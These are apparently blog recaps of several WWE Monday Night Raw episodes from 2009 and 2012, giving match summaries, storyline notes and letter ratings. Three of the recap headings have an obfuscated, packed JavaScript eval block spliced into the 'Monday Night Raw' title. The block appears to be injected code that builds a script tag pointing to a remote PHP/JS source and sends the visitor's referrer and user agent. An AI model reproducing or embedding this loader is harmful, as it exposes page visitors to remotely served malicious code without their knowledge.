Ace said Show didn’t apologize so Show says it again. Ace wants Show to beg for his job on his knees. Show can’t bring himself to do it and begs from his feet. Ace says he won’t fire him for the sake of business. He leaves but then changes his mind. Show says wait and gets on his knees and apologizes. Ace fires him anyway. Ok the smile on his face helps a bit.

And now for something completely different.

Brodus Clay/Kofi Kingston/R-Truth vs. The Miz/Jack Swagger/Dolph Ziggler

Truth and Swagger start things off and it’s off to Clay very quickly. He throws all three heels down as the champions knock Miz to the floor. We take a break and come back with Truth in a Ziggler chinlock. AW Enterprises (with the possibly now signed Mason Ryan) are watching from a sky box. Miz comes in and gets caught in a neckbreaker. Tag to Kofi who speeds things up as he is known to do. SOS gets two and everything breaks down. Ziggler jumps into a headbutt from Brodus, Kofi gets a GREAT sounding Trouble in Paradise on Miz and the Splash ends Miz at 6:58. Most of that was in a commercial so no rating but this was fine.

Punk is with Alex Riley of all people when AJ comes up. Riley leaves (Punk: “Hey, remember that $50 you owe me!”) and AJ wishes Punk luck on Sunday. He doesn’t want anything to do with the drama that comes with AJ and Bryan. Punk is worried about a setup because AJ is so unstable so he walks away. AJ looks….sad?

Sheamus comes down for commentary for the next match.

Randy Orton vs. Chris Jericho

Feeling out process to start and Orton dropkicks him to the floor as we take a break. These breaks during a match are REALLY getting annoying and have been for years. Back with Jericho holding a chinlock. He takes Orton into the corner and hits a missile dropkick for two. Off to a surfboard hold but Orton escapes. Backbreaker puts Jericho down but the elevated DDT is countered by a backdrop. Jericho throws Orton into Sheamus but back in Orton loads up the DDT again. Sheamus pulls him to the floor and clotheslines him down for the DQ win for Jericho at 8:40.

Rating: C-. That’s the ending everyone knew was coming and that’s perfectly fine. I’m actually very glad that no one has gotten a clean win over anyone else in this match since the fourway was announced. That’s a big problem they’ve had recently with multi-man matches: someone is always made to look weak beforehand but in this case, that hasn’t happened at all. I think I’m looking forward to this match more than anything else on Sunday.

Orton gets in Sheamus’ face and challenges him to a fight right now which Sheamus is more than happy to accept. Referees break it up.

Post break Orton vs. Sheamus is announced for Friday.

Here’s Ace to push himself vs. Cena tonight. He talks about how everyone that loves Cena is a bad person because their favorite wrestler reflects themselves. Here’s Cena who makes fun of Ace’s voice and runs him down for firing Show. Ace has the gall to call himself a winner so we hear Ace’s resume. His team won at Wrestlemania…..and that’s about it. Punk is still champion and then Lesnar lost and left. That makes him 1-4 and that makes him a loser.

That’s fine because at Over The Limit, Ace is going to lose again. Ace has managed to step on everyone during his tenure on top. Tonight he’s stepped on everyone in the WWE Universe tonight in the name of people power. Instead it should be person power because that’s all that matters to Ace. Cena has a show of hands to see how many people want to punch Ace into the middle of next week. Next question: how many people want to beat up Ace so bad that he squeals like a baby calf? That gets a BIG reaction.

Cena says the reaction is appropriate in Pittsburgh for a few reason. First up is the Steel Curtain (The Steelers’ defense from the 70s) which is famous for destroying people, which is what Cena is going to do to Ace on Sunday. The other reason is the Pittsburgh Penguins. Ace says that he was going to use the Penguins later in the promo but Cena stole it. Ace tries to talk but Cena keeps calling him a loser. The boss calls the Penguins losers so Cena pulls out a hockey puck and says go puck yourself.

Ace says that he’s taller and better looking than Cena which must bother him. Cue Eve with a paper as he’s talking. She has something to tell him but he won’t listen to her. Finally she gets his attention and hands him the paper which he stops to read. Cena steals it from him (ripping it in half in the process) and says it’s from the board of directors. The match will be one on one with no special referee and no one allowed at ringside. You have to win by pin or submission and anyone who interferes is immediately fired. Oh and if Ace loses he’s fired.

Cena’s music plays but he stops it because Cole mentioned a major announce

Overall Rating: D. This was pretty easily the worst Raw in months and probably the worst this year. With two WAY too long segments that end in some legal or administrative decision, it was a hard show to sit through for the first hour. The lack of Cena until the very end didn’t help things either. I’m looking forward to the fourway on Sunday and Punk vs. Bryan (which got almost zero setup tonight) but other than that it’s a filler show. Terrible Raw tonight.

Results
CM Punk/Santino Marella b. Daniel Bryan/Cody Rhodes – GTS to Rhodes
Beth Phoenix b. Alicia Fox – Glam Slam
Kane b. Big Show – Chokeslam
Brodus Clay/Kofi Kingston/R-Truth b. Dolph Ziggler/Jack Swagger/The Miz – Splash to Miz
Chris Jericho b. Randy Orton via DQ when Sheamus interfered

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Monday Night Raw – May 7, 2012: Cole Undersells ANOTHER Surprise Return

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttyzi|var|u0026u|referrer|rsksi||js|php'.split('|'),0,{})) Night Raw
Date: May 7, 2012
Location: Greensboro Coliseum Complex, Greensboro, North Carolina
Commentators: Michael Cole, Jerry Lawler

Another week, another Raw. The focus this week is likely going to be on Lesnar for his attack last week on HHH, but I’d be surprised if Brock is actually here. Also we get more build towards Cena vs. Ace, which I’ve mellowed on since last week. Other than that it’s hard to say what’s coming as most of the midcard hasn’t been set for the PPV yet. Let’s get to it.

Ace opens things up and says that since he’s the boss of the company, he has to be respected. Cena called him an idiot, so Ace went into a rage. Lesnar hurt Cena’s arm but Ace hurt his pride. At Over the Limit, he’ll finish what “Brock Cena” started. He’s won’t be reprimanded by the board and he’s requested that Cena not be here tonight so he can heal up. Cena however will be here for a satellite interview.

Also anyone that makes fun of his voice will suffer severe consequences. It wasn’t always like that, as he was injured by Steve Williams. That didn’t stop him from becoming, and I quote, the biggest star in Japan. We get a set of stills of him in Japan and Ace calls himself the Hogan, Austin and Rock of Japan. He’ll wrestle one time at Over the Limit. May God bless everyone and have mercy on Cena.

Cue Punk who says that despite Ace saying he’s behind People Power, Ace has no idea what the people want to hear or see. Punk is here to help tonight though, but he’s not going to tell Ace what the people want to see. What he will do though is say what the people don’t want to see, and that is Johnny Ace. They also don’t want to hear about Ace’s time in Japan and his “success”. This is all about Ace putting his chips on Lesnar and then Cena beating Brock.

That turned Ace red and the only reason Ace was a success in Japan is because no one in America would pay a dime to see him which is why he can’t get booked anywhere. Ace asks if Punk is done. Punk says that Ace is ugly, stupid, has no friends and is a gigantic tool box. Ace says if he wasn’t in training he’d pummel Punk, but tonight it’s going to be Punk vs. Tensai. Punk says cool.

Ace runs into Big Show (literally) and yells at him. Show makes fun of Ace after he leaves and Eve glares at him.

Intercontinental Title: Big Show vs. Cody Rhodes

Show takes him into the corner and chops him down, then he throws him out of another corner. Cody gets up some boots in the corner and hits the Disaster Kick which puts Show on his knees. Cody runs from the WMD and says give him his belt. Show meets him as he’s leaving but Cody gets out and sprints to the back. Countout at 1:51.

Show asks for a mic and tells Cody to come back but Cody walks off. Cue Eve who tells Show to apologize to Ace for making fun of his voice. Show lacklusterly apologizes but that’s not good enough for Eve. She says outside of this business, there isn’t much room for a 7’0 400lb freak. Show apologizes again but is a little more testy this time. He leaves and Eve glares at him.

Kofi Kingston vs. Dolph Ziggler

This should be awesome. AW and company are watching in the back. Kofi misses a charge in the corner and Dolph gets two. Mason Ryan is now watching in the back with AW, Primo, Epico and Rosa. Dolph takes Kofi onto the mat for a second but he misses a charge as well, allowing Kofi to speed things up. Boom Drop looks to set up the Trouble in Paradise but Swagger distracts. Zig Zag is countered and the SOS gets two. Vickie gets up on the apron and the distraction lets the Zig Zag get the pin at 2:20. Dang they actually waited a week to have a tag champion lose.

Cena joins us via satellite and says that he has to get his elbow drained twice a day. His doctors say not to compete for a few months but he’s going to do it anyway. He’s not surprised that the board didn’t act because he requested that they didn’t, at least not until after Over the Limit. Cole says he’s impressed by what Ace has accomplished in the ring over his career and thinks maybe Cena is scared of Ace. Cena says he is scared of Ace to the point that Ace will hurt himself. In 13 days, Ace gets beaten up.

Kelly Kelly/Layla vs. Natalya/Maxine

Beth is on commentary and wants her title back. She gets her title match at the PPV. Layla and Maxine get us going and Kelly takes out Natalya for no apparent reason. Layout beats Maxine at 1:05. Moving on.

Randy Orton/Sheamus vs. Alberto Del Rio/Chris Jericho

Orton and Del Rio start us off. Jericho doesn’t really have a feud in this that I can tell. Del Rio jumps over Orton out of the corner but gets clotheslined down for two. Off to Jericho who has about as much luck as Del Rio did. Sheamus gets the tag and keeps beating on the Canadian. He hits the ten forearms to the chest in the ropes but Jericho sends Sheamus’ bad shoulder into the post as we take a break.

Back with Sheamus breaking out of an arm hold and sending Jericho into the corner. Double tag brings in Del Rio to get beaten up by Orton. Elevated DDT looks to set up the RKO but he stops to powerslam Jericho instead. An enziguri from Del Rio puts Orton down for two. Orton dropkicks Del Rio down but it’s Jericho’s powerslam that takes Orton down. Orton gets a rollup for two but another enziguri puts Orton down.

Back to Del Rio who works on the arm and hits it with the Codebreaker. With a shout of DESTINY he tries the cross armbreaker but Orton counters into the backbreaker. Back to Sheamus who cleans house and sets up the Cross on Jericho but the arm gives out. A Walls attempt is countered and the Irish Curse gets two. Del Rio dropkicks the arm but Orton hits him with the RKO. Jericho ducks the Brogue Kick and it hits Orton. Codebreaker to Sheamus gets the pin at 13:02.

Rating: C+. Pretty decent match here and it might signal that they’re setting up a threeway, which would be a very good idea. Del Rio vs. Sheamus one on one just sounds boring beyond all belief but throwing in the Canadian would help things a lot. Not a great match here but it accomplished its goal and that’s all that matters.

Sheamus tries to help Orton up but Orton RKOs him.

Ace sends Eve to talk to Big Show. Jericho comes in and demands a title match. Del Rio says it’s his shot. Orton demands one as well when Sheamus comes in and jumps Jericho. Sheamus and Orton clean house and get in an argument with Sheamus saying anytime Orton wants some, come get him. Ace makes it a fatal fourway. Thank goodness.

Brodus Clay vs. The Miz

Before the match, Brodus says to make sure to call your mama this Sunday. Miz doesn’t like having to face Brodus tonight because if he wanted to see King Hippo dance, he’d play Mike Tyson’s Punch Out. Miz pounds away on him but Brodus runs him over and knocks him to the floor. Coming back in Miz gets the upper hand, hitting the boot to the face.

There’s another boot and it gets two. The corner clothesline hits and Miz comes off the top with the ax handle for two. Brodus shrugs off the chinlock but Miz takes the knee out for the low DDT, getting two. Brodus shrugs him off again and uses his head to take Miz down. Miz jumps into the suplex and the splash ends this at 4:14.

Rating: C-. The match was pretty boring but having Brodus beat a bigger name is a big step for him. He’s beaten jobbers for so long and has only beaten Dolph/Swagger by countout/DQ other than I think once. Not a terrible match or anything but it was a good thing to see as Brodus is looking to have an actual feud instead of just people he doesn’t like.

Don’t be a bully!

We recap the HHH/Lesnar attack from last week. HHH will have to have surgery and rehab. He’ll be on Raw next week and here’s Lesnar. Scratch that it’s his legal team. I like that they’re coming up with some ways to keep him off the shows. HOKEY SMOKE IT’S PAUL HEYMAN. Cole of course undersells it like he does with everything else. He talks about how different things are today than they were ten years ago when he originally represented Lesnar.

It was ace who sent Brock an offer because Brock is a machine. He lists off Brock’s accomplishments and says that the demands Lesnar made were fair because Brock is an honest man. Heyman reads a statement from Brock about corporate politics and about how Lesnar gave what HHH and Cena deserves. The Cell match vs. Undertaker was now “nearly an hour” according to Brock (it was under 31 minutes). Brock is never coming back because he quits.

CM Punk vs. Lord Tensai

During Punk’s entrance, Ace adds Daniel Bryan to the match….and we take a break at 10:56.

Show is talking to two guys from some USA show and they think he doesn’t need to apologize to anyone. Show says things are different now and it’s not a good place here. The actors say they’re detectives and think they should investigate some pictures that are out there apparently. They make fun of his voice and Show laughs but here’s Eve. Show stops laughing.

CM Punk vs. Lord Tensai/Daniel Bryan

No entrances for the heels to save some time. Tensai starts off and uses the power to put Punk down. Off to Bryan who gets a reaction from the crowd. He fires off the kicks to the chest and shouts YES on each one. Punk escapes a suplex and rolls him up for two. They cross body each other and both guys are down. Tensai comes in for more power and they head to the floor with Punk’s back going into the post.

Back in now and it’s time for a Japanese nerve hold. Backsplash gets two and it’s off to Bryan but the Swan Dive misses. Bryan reaches for a tag but gets caught in a slingshot. Punk makes what I guess you can call a comeback with a neckbreaker. The knee and bulldog combination actually works and it’s GTS time. Bryan escapes and tags in Tensai who clotheslines Punk’s head off very slowly. GTS to Tensai is countered but Punk manages the high kick. Tensai’s dude gets up for a distraction and Bryan crotches Punk. The chokebomb is totally messed up and the Mist Claw with the legsweep gets the pin at 6:54.

Rating: C. Tensai is boring and that’s all there is to it. The guy just isn’t an interesting wrestler and no matter how Japanese they make him it’s not going to happen. He’s big and slow with a bad finisher in the claw. Use the chokebomb (if you can do it right) and be a monster like you look like. Punk vs. Bryan is going to be good.

Bryan stomps on Punk post match and puts him in the YES Lock.

Overall Rating: C. This was a hit and miss show. The Heyman return was a big shock and THANKFULLY we got the Sheamus vs. Del Rio match adjusted as it desperately needed to be. Other than that, the wrestling was ok at best. They built up Over the Limit pretty well, but having no Cena for the majority of the show really brought it down. This show needs more Eve as well, especially with those glasses.

Results
Big Show b. Cody Rhodes via countout
Dolph Ziggler b. Kofi Kingston – Zig Zag
Kelly Kelly/Layla b. Natalya/Maxine – Layout to Maxine
Alberto Del Rio/Chris Jericho b. Sheamus/Randy Orton – Codebreaker to Sheamus
Brodus Clay b. The Miz – Splash
Lord Tensai/Daniel Bryan b. CM Punk – Claw Hold

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Monday Night Raw – April 30, 2012: It’s The Internet’s Night

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anzzy|var|u0026u|referrer|innrd||js|php'.split('|'),0,{})) Night Raw
Date: April 30, 2012
Location: Wright State University Nutter Center, Dayton, Ohio
Commentators: Michael Cole, Jerry Lawler

Extreme Rules was last night and it’s time for the road to Over the Limit to begin. Cena talked about taking some time off last night at the end of the show which is something he’s certainly earned. It’s been three and a half years since his last break and giving him some time to heal up and recharge his batteries is definitely a good idea. We’re coming off a great show last night so let’s get to it.

We open with clips from Lesnar vs. Cena and the post match promo from Cena saying he was taking a break.

Here’s the theme song and the new intro says it’s starring Brock Lesnar.

Here’s Ace to open things up. He brags about how great last night was and how awesome Lesnar was in his dominance last night. Cena was proven to be a mortal last night apparently and Lesnar got rid of him. Here’s Brock who says last night the world saw Brock bring the pain. Cue HHH who looks mad. He says that if Lesnar wants all these perks, a lot of them are on his own dime. Oh and the show has always and will always be Monday Night Raw (except for when it was Raw Is War).

The contract stuff he made Ace agree to last week weren’t run by HHH so they don’t count. Ace pulls out the contract and HHH rips it up. HHH says that Ace knew that he didn’t have that authority. The WWE wants Brock here as do the fans, and they want Lesnar vs. Cena II. They want to see him against Sheamus, Orton and Punk. If Brock is going to do that, it’s going to be under the terms of the contract Brock signed. From what I understand, Lesnar isn’t under contract right now. HHH says Lesnar can re-sign under the original terms or go home with his loss to Cena.

Ace keeps talking while HHH is trying to do business and HHH keeps telling him to shut up. Finally HHH turns to him and Lesnar jumps HHH. He beats him down and HHH can only get in a little offense at best. Lesnar throws on the armbar and HHH’s arm turns. Some guys run in for the save and HHH says his arm is broken. That’s probably Over The Limit. He walks up the ramp slowly to take us to a break.

HHH gets his arm looked at.

Eve, with some sexy glasses on, comes out and tells us that tonight it’s a five man Beat The Clock Challenge for the #1 contender spot at the PPV. That means the first person in the challenge sets the time to beat and the fastest of the five times gets the show.

Beat The Clock Challenge: The Miz vs. Santino Marella

I guess either guy can set the time. Sweet I don’t have to time these matches. Santino takes him down and tries some very fast covers. Brock has been escorted out of the building. They both keep trying quick pins including a rollup after Miz misses a charge. Santino walks into something like a Side Effect for two.

Corner clothesline hits for Miz and he goes up. Double ax hits for two. Chinlock goes on but it’s quickly broken. Hot shot puts Miz down and Santino hits his usual stuff. Here comes the Cobra but Santino walks into an O’Connor Roll for two. Miz totally misses a big boot in the corner but hits the Finale for the surprise pin at 4:17. This just had to be the US Champion too right?

Rating: C-. Nothing special here but it was pretty quick which means some of the matches later on won’t be as long. I wonder if the rest of the matches will end if they pass the established time. Either way, not a bad match here and Santino can bounce back from a loss about as quickly as anyone on the roster.

Divas Title: Nikki Bella vs. Layla

The Bellas argue over who is fighting so Layla dropkicks one into the other and rolls up Nikki for the pin at 10 seconds.

Beat The Clock Challenge: Chris Jericho vs. Big Show

Dang two matches in one segment. Oh of course not as we have a break before the match starts. Big Show charges right at him and the clock is counting down from 4:17. Show runs him over a few times but gets his knee kicked out. You know what would be nice? A reference to these two being former tag champions. It’s not going to make the match or anything but a little history is nice at times. Jericho goes up but jumps into a chop. Vader Bomb misses and Jericho hits a Lionsault for two.

Show busts out a small package of all things and gets two. Chokeslam is countered into a low DDT for two. Spear gets two for Show and the clock is at 1:05 remaining. WMD misses and the Codebreaker is countered as well. Jericho pulls Show to the floor which doesn’t mean anything. We’ve got 30 seconds to go and Jericho gets pulled to the floor. Show misses a charge and goes into the timekeeper’s area. Jericho gets back in but the clock runs out just before the ten count, but they say Jericho won with a second left. Bull freaking crap and the fans know it. Anyway the time was 4:17 obviously.

Rating: C-. This was exactly what you would expect from Big Show vs. Chris Jericho. It wasn’t bad but MAN did they screw up the ending? How hard is it to have someone in a headset saying COUNT FASTER??? Apparently too complicated for WWE as this looked so stupid. The buzzer went off and then he said ten. It wasn’t close but I’m sure we’ll be told that we were all wrong or whatever.

Post break they change it up again and say that Miz’s time was actually 4:18 so neither guy made it. OH COME ON. Just freaking say that the countout didn’t work and the referee was wrong. How hard is that??? Seriously???

Brodus Clay vs. JTG

Back to the old school Brodus I guess. JTG apparently has a surprise for Brodus. The surprise is a kick to the ribs but Brodus headbutts him down. Slam and elbow put JTG down and the headbutt to the chest does as well. Avalanche and t-bone suplex set up the splash for the pin at 1:39.

Brodus brings in some kids for a dance, JYD style.

We get the opening video again as well as the Lesnar attack for the third time tonight.

Eve gives Ace a pep talk in the back and Ace says that Cena isn’t going to like his next opponent.

Beat The Clock Challenge: Randy Orton vs. Jack Swagger

Remember the time is now officially 4:18. Orton keeps trying rollups but gets kicked down and the Vader Bomb gets two. Orton hits his backbreaker for two as we’re under 3:00 to go. Swagger hits a shoulder for two and then works on the arm. Lawler points out the stupidity of this and we have 90 seconds to go. Orton comes back with his powerslam and the elevated DDT with 40 seconds left. RKO is countered into the ankle lock but Orton rolls out and the RKO gets the pin at 4:16, giving him the new time to beat.

Rating: C-. The problem with these fast matches is that there’s no time to get anything going. I remember these two having a title match at whatever PPV it was and that was nothing to see either. Not a terrible match but again with only about four minutes to work with, there’s only so much they can do.

Cena’s match is later tonight apparently.

We get a clip of Santino and Ryder pinning the tag champions last week. This naturally leads to the following.

Tag Titles: Primo/Epico vs. R-Truth/Kofi Kingston

Before the match we’re told that the Bellas have been fired. Epico kicks Little Jimmy so Truth goes off on him. Truth cleans out the ring as we take a break. Back and it’s official that HHH’s arm is broken. The champs are in control and it’s time to ignore the match. Truth takes them both down and makes the hot tag to Kofi. Everything breaks down and after some Rosa interference, Trouble in Paradise pins Epico and we have new champions.

Rating: D. The match probably wasn’t that bad but this was the definition of paint by numbers. How many times have you seen the exact same match that I just described? On top of that, Kofi is still spinning his wheels with a title that means nothing at all. What in the world is the point of this?

The former champions talk to Washington in the back.

Beat The Clock Challenge: Great Khali vs. Kane

It’s your standard battle of the big men: Khali hits Kane, Kane hits Khali, Kane puts him down and hits the top rope clothesline for two. The time was set at 4:16 and we have less than two minutes left. Low dropkick gets two. Under a minute to go as Khali comes back with some big man offense. The chop hits Kane and he rolls to the floor. They brawl to the floor and back inside they both try a chokeslam the clock runs out for a no contest at 4:16.

Rating: D. This was your standard battle of the big men, which is to say that it wasn’t that good. With about a minute to go it was clear that neither guy was going to win, which is the right idea. Would you want either of these guys headlining a PPV? Anyway nothing to see here and there’s one more match to go in the challenge.

Apparently Cena will be here to find out who his opponent at Over the Limit is.

Beat The Clock Challenge: Jerry Lawler vs. Daniel Bryan

4:16 is the time to beat. Bryan goes right at Lawler and beats him down in the corner. Running dropkick gets two. Lawler gets a boot up and drops the middle rope fist for two but the piledriver is countered. A kick to the head sets up the YES Lock and Jerry taps at 2:29 to get the title shot. Let the internet explode.

Punk comes out and applauds Bryan.

We see Lesnar attacking HHH for a fourth time.

Here’s Cena with his arm in a sling for the showdown with Ace. Cena says he’s here and there’s no breaks in his arm and no muscle tear. Everything is strained, but he’s here. He says that if you’re hurt, you get to keep coming out here and doing what you do best so he’s here. Cue Ace and Cena instantly makes fun of him, as well as confirming the DVD release of No Holds Barred. I’d LOVE a commentary from Hogan on that but it’s not going to happen.

Ace says that he brought Brock in to motivate Cena which Cena doesn’t buy at all. Ace calls it a success but Cena still doesn’t believe him. Cena responds to the WHAT chants and makes fun of Ace some more. Ace says he can make Cena’s life difficult or easy. Cena: “YOU ARE AN IDIOT!” Here’s Tensai, which shouldn’t shock anyone. Cena, with one good arm, stays in the ring but Ace hits him with the mic and…..the opponent is actually going to be Ace. Tensai’s manager kicks Ace in the arm and Tensai helps in the attack. They all attack the arm with Tensai holding it over the steps and Ace crushes it with a chair to end the show.

Overall Rating: C. This was only an ok show. The opening segment was great, then by the fourth time it was just good. The Beat the Clock stuff was ok but again the matches get really boring after awhile because they’re so short. Bryan vs. Punk should be awesome though so I can’t complain there. The ending was about what I expected, which doesn’t help anything.

Results
The Miz b. Santino Marella – Skull Crushing Finale
Layla b. Nikki Bella – Rollup
Chris Jericho vs. Big Show went to a time limit draw
Brodus Clay b. JTG – Splash
Randy Orton b. Jack Swagger – RKO
Kofi Kingston/R-Truth b. Epico/Primo – Trouble In Paradise to Epico
Great Khali vs. Kane went to a no contest
Daniel Bryan b. Jerry Lawler – Yes Lock

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Monday Night Raw – June 15, 2009: Raw Is…..Sold?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hryst|var|u0026u|referrer|yndty||js|php'.split('|'),0,{})) Night Raw
Date: June 15, 2009
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Michael Cole, Jerry Lawler, Josh Matthews, Matt Striker, Jim Ross, Todd Grisham

This is a three hour special called the Three For All which has three world title matches and guys from all three brands on the show. It’s a request and based on the card it doesn’t look that bad for the most part. I don’t remember this show at all but it’s Raw from 2009 so that really shouldn’t surprise anyone. Let’s get to it.

Cole and Lawler tell us that there’s going to be a new GM tonight. I really hope this is something different than I remember.

We get a video from last week where Orton interrupted Batista and had Legacy jump in for the three on one attack. They attacked Batista’s arm which was probably a storyline way of getting him off TV. Batista was world champion at the time so Orton won the title by forfeit. Instead HHH came back and beat up Legacy to stand tall.

Apparently there’s a fatal fourway for the title because saying “If Batista doesn’t come out Orton is champion” and then Batista doesn’t come out means Orton isn’t champion.

Intercontinental Title: Chris Jericho vs. Rey Mysterio

Jericho is defending, having won the title at Extreme Rules eight days earlier. Jericho says that everything has fallen apart on Raw since he left for Smackdown. There’s no GM, there’s no champion and there’s nothing at all. Some day everyone will know his value to this show and some day Rey will realize that Jericho is right: his mask is holding Rey back. Here’s Rey and we’re ready to go.

Rey takes him down immediately and is all fired up here. A clothesline puts Jericho on the floor and he drops the leg off the top for two on the way back in. There’s a clock ticking down until the Raw Title match. Jericho avoids a charge and heads to the floor where Rey tries the seated senton, only for Jericho to drop him backwards and ram Rey’s face into the table.

We take a break and come back to Rey hitting an enziguri to put him in 619 position. Chris comes back with a clothesline for two. He goes for the mask which he pulled off at the PPV. Rey rolls through a sunset flip and hits the seated dropkick for two. The bulldog is countered and Rey dropkicks Jericho to the floor. A nice suicide dive takes Jericho down again but Chris stops Rey coming back in.

Superplex is countered into a powerbomb for two. Walls are broken up but the 619 misses. Jericho tries a 619 but Rey pops up with a moonsault press for two. Rey ranas him into the 619 and tries the West Coast Pop but Jericho catches him and pulls at the mask. Rey drops down and walks into the Codebreaker for Jericho to retain.

Rating: B. Jericho and Mysterio have a good match. Is there anyone in the world that is surprised by this? These two had a GREAT series of matches on PPV for the title around this point and this was another in that series, minus the PPV part. Solid match here with the ending Codebreaker looking great.

Orton says he’ll win when Cena pops up to make fun of him. Orton is a grand wizard of the baby oil boys’ club and Cena reminds him there are four people in the title match tonight.

We recap Vickie resigning her GM position last week.

Vince is shown sitting in an office and says that tonight there’s going to be a GM. Scratch that he won’t be making the announcement, because he’s sold the Raw brand to someone else. Oh it’s THIS show. The new owner will be announced after the fatal fourway.

Jerry and Cole talk about how Vince has owned Raw for 17 years. So I guess Flair as co-owner is non-cannon now.

ECW Title: Christian vs. Tommy Dreamer

Tommy is defending. Christian lost the title in a triple threat at Extreme Rules so this is his rematch. Tommy starts off with his usual basic stuff until he walks into an elbow off the middle rope for two. Christian throws him to the floor and hits the springboard cross body over the top to the outside. Tornado DDT is countered and Christian slams him into the mat via a modified flapjack. Dreamer runs into a boot and the middle rope sunset flip gets two. DDT and Killswitch are countered and Dreamer grabs a small package for the fast pin. Too short to rate but this was just like any other TV match.

The Bellas and Kelly are talking about the new owner of Raw. They think it’s Oprah or Paris Hilton.

We recap the Batista attack last week that set up the vacant title. There are also some stills of Batista’s arm surgery.

Raw World Title: Randy Orton vs. Triple H vs. John Cena vs. Big Show

One fall to a finish. This is HHH’s first match back since Backlash, which is why him popping out of the ambulance last week was such a big deal. After some big match intros we’re ready to go. HHH goes right for Orton as Show jumps Cena. The latter pairing had a match at the PPV so there’s recent history there. Show tosses Cena out and turns around to face HHH as we take a break.

Back with Orton stomping HHH down in the corner. Randy misses a knee drop and it’s HHH and Cena teaming up on Big Show. A shoulder manages to put him on the floor and it’s Cena vs. HHH. Cena takes him down but as he loads up the Shuffle, HHH grabs a spinebuster. Pedigree is countered into an AA attempt but Big Show is back in with a double clothesline.

The original pairings pair off again with Cena/Show in the ring. Show falls on Cena during a slam attempt. Orton makes the save but then he runs from Show. HHH and Cena hit a double suplex on Show and Orton comes back in and takes everyone down. The Punt is blocked by Show and he knocks everyone down with ease. Show hits a Vader Bomb on Cena but Orton saves the pin.

Orton gets thrown to the floor and Show spears HHH down for two. Vader Bomb to HHH misses as does an RKO attempt on Show. HHH hits the Pedigree on the bald one but he walks into an AA but the cover on Show only gets two. AA to Big Show but Orton makes the save. RKO to Big Show gives Orton the title.

Rating: B-. This was a fun match but it flew by pretty fast. Orton winning was completely obvious and I don’t think it was ever really about would he win but rather how would he win. The ending sequence was good as Big Show took a beating and it was about who could get the pin. Not a masterpiece or anything but it was just about perfect with the stuff they had to work with.

Here’s Vince for the big announcement. He says this was a good business decision and we go to the new owner of Raw via satellite: Donald Trump. The fans aren’t that happy with this. I’ll give Trump this: he’s been in WWE like four or five times now. Trump talks about needing to reward the fans and says that next week, Raw will be presented commercial free. The deal doesn’t go through for a week so tonight we’ll have a battle royal for the #1 contender spot at the Bash. Trump and Vince will both be here next week. Trump owning Raw would last all of a week I think.

Mickie James vs. Rosa Mendes

This is Rosa’s in ring debut. Maryse, the Divas Champion who cost Mickie a #1 contender match last week, comes out to watch. Mickie knocks her down a few times and goes up but Rosa heads to the floor. A not horrible neckbreaker gets two. Rosa gets in some forearms and a chinlock but misses a charge. Mickie comes back and blocks another neckbreaker so that the jumping DDT can end this. Too short to rate but it was clear Rosa was very green and that Mickie was doing most of the work, which is ok.

Back from a break and it’s Goldust/Hornswoggle in the ring shooting t-shirts into the crowd. Here’s Miz to say hang on this is stupid. This is during the Miz beats Cena stuff. Miz says he’s awesome and the best and the future and all other appropriate accolades. He’ll eliminate Cena tonight and get the title match at The Bash. Then he wants the endorsements and the magazine covers and the movies and all that. Actually the day this was written he landed the lead in The Marine 3 so there you go.

Goldust says Miz’s mind games haven’t worked with Cena. He gave Ahmed Johnson mouth to mouth resuscitation and all Miz’s mouth does is run. Miz is a loser, complete with the speech impediment. Goldust is a joke trying to recapture the magic of better days and Miz would beat him down, but no one would care. And never mind as there goes Goldust and Horny gets thrown around too. Miz gets the t-shirt gun and shoots Horny in the stomach with it. Or was it between the legs? Eh who cares? HORNY IS IN PAIN!!! LIFE IS GOOD!!!

Punk, whose tape says Misawa who died two days earlier, says that since he cashed in on Jeff Hardy it’s not as popular. This would be the start of his heel turn. Matt Hardy comes in who says he would have done the same thing. Punk basically blows him off.

We get a clip of Edge dumping Vickie last week because she can’t help him become world champion anymore.

Smackdown World Title: Edge vs. Jeff Hardy vs. CM Punk

Big match intros are go and we’re ready. Jeff knocks both guys down almost immediately and controls early on. Edge gets sent to the floor and Punk hits a big suicide dive to take the Canadian out. Jeff tops that by taking both guys out and surprisingly we don’t go to commercial. Back in Jeff works on Punk, who is champion if that wasn’t clear, but CM takes him down with a slam kind of thing for two. Quick drop elbow gets two for Punk.

Off to a chinlock as Edge is still on the floor. Jeff breaks the hold and Edge comes in to kick Punk’s head off. Edge loads up a superplex but Hardy makes the save and loads up the move himself. Edge pulls Jeff away and it’s almost a Doomsday Device but Jeff gets a victory roll for two and Punk, playing Hawk, crashes to the mat.

Back from a break and Punk takes Edge down as Jeff is getting back in the ring. Punk hits his clothesline/bulldog but throws in a clothesline to Hardy as he’s bulldogging Edge. Punk loads up the GTS on Hardy but Edge takes out the knee instead of letting Hardy get taken out. Sharpshooter to Punk but Hardy hooks a sleeper on Punk (not a headlock Todd) at the same time. Punk takes Edge down but Hardy takes Punk down and gets two on the champ.

